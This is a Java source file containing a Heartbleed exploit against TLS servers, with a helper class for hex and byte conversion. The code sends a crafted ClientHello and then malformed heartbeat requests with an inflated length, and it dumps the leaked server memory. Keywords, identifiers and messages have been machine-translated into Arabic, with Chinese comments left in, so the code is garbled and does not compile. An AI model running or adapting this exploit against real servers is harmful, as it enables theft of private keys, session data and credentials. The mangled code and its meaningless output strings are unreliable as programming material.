معلومات المنتج:
الحزمة com.jxy.web؛
import java.io.IOException;
استيراد java.io.InputStream؛
استيراد java.io.OutputStream؛
import java.io.UnsupportedEncodingException;
استيراد java.net.Socket؛
import java.net.UnknownHostException;
import com.jxy.tools.MyByte;
الطبقة العامة Heartbleed {
بايت ثابت خاص[] مرحبًا = { (بايت) 0x16، (بايت) 0x03، (بايت) 0x02،
(بايت) 0x00، (بايت) 0xdc، (بايت) 0x01، (بايت) 0x00، (بايت) 0x00،
(بايت) 0xd8، (بايت) 0x03، (بايت) 0x02، (بايت) 0x53، (بايت) 0x43،
(بايت) 0x5b، (بايت) 0x90، (بايت) 0x9d، (بايت) 0x9b، (بايت) 0x72،
(بايت) 0x0b، (بايت) 0xbc، (بايت) 0x0c، (بايت) 0xbc، (بايت) 0x2b،
(بايت) 0x92، (بايت) 0xa8، (بايت) 0x48، (بايت) 0x97، (بايت) 0xcf،
(بايت) 0xbd، (بايت) 0x39، (بايت) 0x04، (بايت) 0xcc، (بايت) 0x16،
(بايت) 0x0a، (بايت) 0x85، (بايت) 0x03، (بايت) 0x90، (بايت) 0x9f،
(بايت) 0x77، (بايت) 0x04، (بايت) 0x33، (بايت) 0xd4، (بايت) 0xde،
(بايت) 0x00، (بايت) 0x00، (بايت) 0x66، (بايت) 0xc0، (بايت) 0x14،
(بايت) 0xc0، (بايت) 0x0a، (بايت) 0xc0، (بايت) 0x22، (بايت) 0xc0،
(بايت) 0x21، (بايت) 0x00، (بايت) 0x39، (بايت) 0x00، (بايت) 0x38،
(بايت) 0x00، (بايت) 0x88، (بايت) 0x00، (بايت) 0x87، (بايت) 0xc0،
(بايت) 0x0f، (بايت) 0xc0، (بايت) 0x05، (بايت) 0x00، (بايت) 0x35،
(بايت) 0x00، (بايت) 0x84، (بايت) 0xc0، (بايت) 0x12، (بايت) 0xc0،
(بايت) 0x08، (بايت) 0xc0، (بايت) 0x1c، (بايت) 0xc0، (بايت) 0x1b،
(بايت) 0x00، (بايت) 0x16، (بايت) 0x00، (بايت) 0x13، (بايت) 0xc0،
(بايت) 0x0d، (بايت) 0xc0، (بايت) 0x03، (بايت) 0x00، (بايت) 0x0a،
(بايت) 0xc0، (بايت) 0x13، (بايت) 0xc0، (بايت) 0x09، (بايت) 0xc0،
(بايت) 0x1f، (بايت) 0xc0، (بايت) 0x1e، (بايت) 0x00، (بايت) 0x33،
(بايت) 0x00، (بايت) 0x32، (بايت) 0x00، (بايت) 0x9a، (بايت) 0x00،
(بايت) 0x99، (بايت) 0x00، (بايت) 0x45، (بايت) 0x00، (بايت) 0x44،
(بايت) 0xc0، (بايت) 0x0e، (بايت) 0xc0، (بايت) 0x04، (بايت) 0x00،
(بايت) 0x2f، (بايت) 0x00، (بايت) 0x96، (بايت) 0x00، (بايت) 0x41،
(بايت) 0xc0، (بايت) 0x11، (بايت) 0xc0، (بايت) 0x07، (بايت) 0xc0،
(بايت) 0x0c، (بايت) 0xc0، (بايت) 0x02، (بايت) 0x00، (بايت) 0x05،
(بايت) 0x00، (بايت) 0x04، (بايت) 0x00، (بايت) 0x15، (بايت) 0x00،
(بايت) 0x12، (بايت) 0x00، (بايت) 0x09، (بايت) 0x00، (بايت) 0x14،
(بايت) 0x00، (بايت) 0x11، (بايت) 0x00، (بايت) 0x08، (بايت) 0x00،
(بايت) 0x06، (بايت) 0x00، (بايت) 0x03، (بايت) 0x00، (بايت) 0xff،
(بايت) 0x01، (بايت) 0x00، (بايت) 0x00، (بايت) 0x49، (بايت) 0x00،
(بايت) 0x0b، (بايت) 0x00، (بايت) 0x04، (بايت) 0x03، (بايت) 0x00،
(بايت) 0x01، (بايت) 0x02، (بايت) 0x00، (بايت) 0x0a، (بايت) 0x00،
(بايت) 0x34، (بايت) 0x00، (بايت) 0x32، (بايت) 0x00، (بايت) 0x0e،
(بايت) 0x00، (بايت) 0x0d، (بايت) 0x00، (بايت) 0x19، (بايت) 0x00،
(بايت) 0x0b، (بايت) 0x00، (بايت) 0x0c، (بايت) 0x00، (بايت) 0x18،
(بايت) 0x00، (بايت) 0x09، (بايت) 0x00، (بايت) 0x0a، (بايت) 0x00،
(بايت) 0x16، (بايت) 0x00، (بايت) 0x17، (بايت) 0x00، (بايت) 0x08،
(بايت) 0x00، (بايت) 0x06، (بايت) 0x00، (بايت) 0x07، (بايت) 0x00،
(بايت) 0x14، (بايت) 0x00، (بايت) 0x15، (بايت) 0x00، (بايت) 0x04،
(بايت) 0x00، (بايت) 0x05، (بايت) 0x00، (بايت) 0x12، (بايت) 0x00،
(بايت) 0x13، (بايت) 0x00، (بايت) 0x01، (بايت) 0x00، (بايت) 0x02،
(بايت) 0x00، (بايت) 0x03، (بايت) 0x00، (بايت) 0x0f، (بايت) 0x00،
(بايت) 0x10، (بايت) 0x00، (بايت) 0x11، (بايت) 0x00، (بايت) 0x23،
(بايت) 0x00، (بايت) 0x00، (بايت) 0x00، (بايت) 0x0f، (بايت) 0x00،
(بايت) 0x01، (بايت) 0x01 };
البايت الثابت الخاص[] النزيف = { (بايت) 0x18، (بايت) 0x03، (بايت) 0x02،
(بايت) 0x00، (بايت) 0x03، (بايت) 0x01، (بايت) 0xff، (بايت) 0xff };
بايت ثابت خاص[] tmp;
بايت ثابت خاص[] دفع؛
/**
* SSL3_RT_CHANGE_CIPHER_SPEC 20
*SSL3_RT_ALERT21
* SSL3_RT_HANDSHAKE 22
* SSL3_RT_APPLICATION_DATA 23
* TLS1_RT_HEARTBEAT 24
*
* @param args
* @throws استثناء
*/
public static void main(String[] args) {
الهجوم ("改为自己测试的主机"، 465)؛
System.exit(0);
}
هجوم منطقي عام ثابت (مضيف السلسلة، منفذ int) {
System.out.println("الرقم التسلسلي...");
مأخذ التوصيل = فارغ؛
يحاول {
المقبس = مقبس جديد (المضيف، المنفذ)؛
} قبض على (UnknownHostException e) {
System.out.println("النسخة الأصلية.");
عودة كاذبة.
} قبض (IOException ه) {
System.out.println("التحقق من البيانات المطلوبة.");
عودة كاذبة.
}
OutputStream out = null;
يحاول {
خارج = المقبس.getOutputStream();
} قبض (IOException ه) {
System.out.println("تم التحقق من بياناتك.");
عودة كاذبة.
}
InputStream in = null;
يحاول {
in=socket.getInputStream();
} قبض (IOException ه) {
System.out.println("تم التحقق من البيانات.");
عودة كاذبة.
}
System.out.println("تم تنفيذه بنجاح...");
يحاول {
out.write(hello);
} قبض (IOException ه) {
System.out.println("تم تنفيذ الطلب.");
عودة كاذبة.
}
System.out.println("تم تنفيذ الأمر بنجاح...");
بينما (صحيح) {
tmp = getData(in, 5);
إذا (تمب[0] == 0) {
System.out.println("تم تنفيذ عملية الاسترداد بنجاح.");
عودة كاذبة.
}
AnalyseHead(tmp);
int len = (int) MyByte.HexString2Long(MyByte
.byteToHexString(tmp[3]) + MyByte.byteToHexString(tmp[4]));
pay = getData(in, len);
إذا (tmp[0] == 22 && pay[0] == 0x0E) {
System.out.println("تم تنفيذ الأمر بنجاح".");
استراحة؛
}
}
System.out.println("تحديد نبضات القلب...");
يحاول {
out.write(bleed);
} قبض (IOException ه) {
System.out.println("التحقق من نبضات القلب.");
عودة كاذبة.
}
يحاول {
out.write(bleed);
} قبض (IOException ه) {
System.out.println("التحقق من نبضات القلب.");
عودة كاذبة.
}
بينما (صحيح) {
tmp = getData(in, 5);
int len = (int) MyByte.HexString2Long(MyByte
.byteToHexString(tmp[3]) + MyByte.byteToHexString(tmp[4]));
إذا (تمب[0] == 0) {
System.out.println("مرحبًا بنبضات القلب، قم بطباعة نبضات القلب مرة أخرى");
عودة كاذبة.
}
إذا (تمب[0] == 24) {
System.out.println("طباعة نبضات القلب:");
int count=0;//الرقم الصحيح
for (int i = 0; i < 4; i++) {//读4次,全部读出64KB
pay = getData(in, len);
count+=pay.length;
System.out.print(hexdump(pay));
}
System.out.println("/n数据长度为:" + count);
إذا (لين > 3) {
System.out
.println("الاسم: اسم المنتج: اسم المنتج: اسم المستخدم: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج: اسم المنتج
} آخر {
System.out
.println("نبضات القلب، نبضات القلب، نبضات القلب، نبضات القلب، نبضات القلب، نبضات القلب");
}
استراحة؛
}
إذا (تمب[0] == 21) {
System.out.println("تم حذف البيانات:");
System.out.println(hexdump(pay));
System.out.println("مرحبًا بك في مكتبك، قم بزيارة موقع الويب الخاص بك");
استراحة؛
}
}
يحاول {
out.Close();
in. Close();
} قبض (IOException ه) {
System.out.println("الحصول على نسخة من البرنامج");
}
عودة صحيحة؛
}
البايت العام الثابت[] getData(InputStream in, int lenth) {
بايت[] t = بايت جديد[lenth];
يحاول {
in.read(t);
} قبض (IOException ه) {
System.out.println("الاتصال بالبريد الإلكتروني");
}
العودة ر؛
}
سلسلة ثابتة عامة hexdump(byte[] pay) {
سلسلة س = ""؛
يحاول {
s = سلسلة جديدة (الدفع، "GB2312")؛
} قبض على (UnsupportedEncodingException e) {
System.out.println("النسخة الأصلية");
}
العودة ق.
}
رأس تحليل الفراغ الثابت العام (byte[] tmp) {
System.out.print("النسخة الأصلية:");
System.out.print("النسخة:" + tmp[0] + "/t");
System.out.print("版本:" + MyByte.byteToHexString(tmp[1])
+ MyByte.byteToHexString(tmp[2]) + "/t");
System.out.println("العنوان:"
+ MyByte.HexString2Long(MyByte.byteToHexString(tmp[3])
+ MyByte.byteToHexString(tmp[4])));
}
}
معلومات المنتج:
الحزمة com.jxy.tools;
/**
* 16 حرفًا من سلسلة / بايت
* */
الطبقة العامة MyByte {
/**
*الحصول على أفضل النتائج في المستقبل
*
* @param سلسلة
* str 待转换的ASCII字符串
* @return String 每个Byte之间空格分隔،如: [61 6C 6B]
*/
سلسلة ثابتة عامة str2HexStr(String str) {
char[] chars = "0123456789ABCDEF".toCharArray();
StringBuilder sb = new StringBuilder("");
byte[] bs = str.getBytes();
بت.
لـ (int i = 0; i < bs.length; i++) {
بت = (BS[i] & 0x0f0) >> 4;
sb.append(chars[bit]);
بت = بكالوريوس [i] & 0x0f؛
sb.append(chars[bit]);
sb.append('');
}
إرجاع sb.toString().trim();
}
/**
*الحصول على أفضل النتائج
*
* @param سلسلة
* str Byte字符串(Byte之间无分隔符 如:[616C6B])
* @return String 对应的字符串
*/
سلسلة ثابتة عامة hexStr2Str(String hexStr) {
سلسلة str = "0123456789ABCDEF";
char[] hexs = hexStr.toCharArray();
byte[] bytes = new byte[hexStr. length() / 2];
كثافة العمليات ن؛
لـ (int i = 0; i < bytes.length; i++) {
n = str.indexOf(hexs[2 * i]) * 16;
n += str.indexOf(hexs[2 * i + 1]);
بايت[i] = (بايت) (n & 0xff);
}
إرجاع سلسلة جديدة (بايت)؛
}
/**
* سلسلة من سلسلة يونيكود سلسلة
*
* @param سلسلة
* strText 全角字符串
* @return String قم باستبدال unicode بالمفتاح الصحيح
* @throws استثناء
*/
سلسلة ثابتة عامة strToUnicode (سلسلة strText) تطرح استثناءً {
شار ج؛
StringBuilder str = new StringBuilder();
intAsc;
سلسلة strHex؛
لـ (int i = 0; i < strText. length(); i++) {
ج = strText.charAt(i);
intAsc = (int) c;
strHex = Integer.toHexString(intAsc);
إذا (intAsc > 128)
str.append("//u" + strHex);
آخر
// 低位在前面补00
str.append("//u00" + strHex);
}
إرجاع str.toString();
}
/**
* سلسلة يونيكود تستخدم سلسلة
*
* @param سلسلة
* سداسي عشري 16进制值字符串 (يحتوي على يونيكود 2 بايت)
* @return String 全角字符串
*/
سلسلة ثابتة عامة unicodeToString(String hex) {
int t = hex. length() / 6;
StringBuilder str = new StringBuilder();
لـ (int i = 0; i < t; i++) {
String s = hex.substring(i * 6, (i + 1) * 6);
// 高位需要补上00再转
سلسلة s1 = s.substring(2, 4) + "00";
// 低位直接转
سلسلة s2 = s.substring(4);
// تم تحديد 16 حرفًا من سلسلة الأحرف int
int n = Integer.valueOf(s1, 16) + Integer.valueOf(s2, 16);
// 将int转换为字符
char[] chars = Character.toChars(n);
str.append(new String(chars));
}
إرجاع str.toString();
}
/**
* حجم البايت الواحد
*
* @param pByteA
* @param pByteB
* @يعود
*/
البايت الثابت العام[] getMergeBytes(byte[] pByteA, byte[] pByteB) {
int aCount = pByteA. length;
int bCount = pByteB. length;
byte[] b = new byte[aCount + bCount];
لـ (int i = 0; i < aCount; i++) {
b[i] = pByteA[i];
}
لـ (int i = 0; i < bCount; i++) {
b[aCount + i] = pByteB[i];
}
العودة ب؛
}
/**
* حجم البايت
*
* @param ب
* حجم البايت
* @param j
* 是大小
* @يعود
*/
البايت الثابت العام[] CutOutByte(byte[] b, int j) {
إذا (ب. الطول == 0 || ي == 0) {
عودة فارغة؛
}
بايت[] tmp = بايت جديد[j];
لـ (int i = 0; i < j; i++) {
tmp[i] = b[i];
}
عودة تمب؛
}
/**
* سعة 16 جيجا بايت
*
* @param hexstr
* السلسلة 16进制字符串
* @return بايت [] بايت إرجاع
*/
البايت العام الثابت[] HexString2Bytes(String hexstr) {
byte[] b = new byte[hexstr. length() / 2];
كثافة العمليات ي = 0;
لـ (int i = 0; i < b.length; i++) {
char c0 = hexstr.charAt(j++);
char c1 = hexstr.charAt(j++);
b[i] = (بايت) ((parse(c0) << 4) | parse(c1));
}
العودة ب؛
}
تحليل int ثابت خاص (شار ج) {
إذا (ج >= 'أ')
العودة (ج - 'أ' + 10) & 0x0f؛
إذا (ج >= 'أ')
العودة (ج - 'أ' + 10) & 0x0f؛
العودة (ج - '0') & 0x0f؛
}
/**
* حجم البايت هو 9 جيجا بايت، 0 جيجا بايت
*
* @param ب
* @يعود
*/
سلسلة ثابتة عامة byteToHexString(بايت ب) {
String stmp = Integer.toHexString(b & 0xFF);
stmp = (stmp.length() == 1) ؟ "0" + ستمب : ستمب؛
إرجاع stmp.toUpperCase();
}
/**
* حجم البايت هو int
*
* @param ب
* @يعود
*/
عام ثابت int byteToInt(بايت ب) {
إرجاع Integer.valueOf(b);
}
/**
* بايت يتم تحديد حجمها
*
* @param byte[] b byte 数组
* @return String قم بإرجاع البايت إلى 间空
*/
سلسلة ثابتة عامة byteToHexString(byte[] b) {
سلسلة ستمب = ""؛
StringBuilder sb = new StringBuilder("");
ل (بايت ج : ب) {
stmp = Integer.toHexString(c & 0xFF);// تحديد حجم البايت واستبداله بـ int
sb.append((stmp.length() == 1) ? "0" + stmp : stmp);// قم بإلغاء تحديد الحجم
sb.append(" ");// الوصول إلى المعلومات
}
return sb.toString().toUpperCase().trim();// قم بإرجاع المنتج إلى الأعلى
}
عام ثابت طويل HexString2Long(String hexstr) {
مجموع طويل = 0؛
int length=hexstr. length();
لـ (int i = 0; i < length; i++) {
sum+=parse(hexstr.charAt(i))*Math.pow(16,length-i-1);
}
مبلغ الإرجاع؛
}
}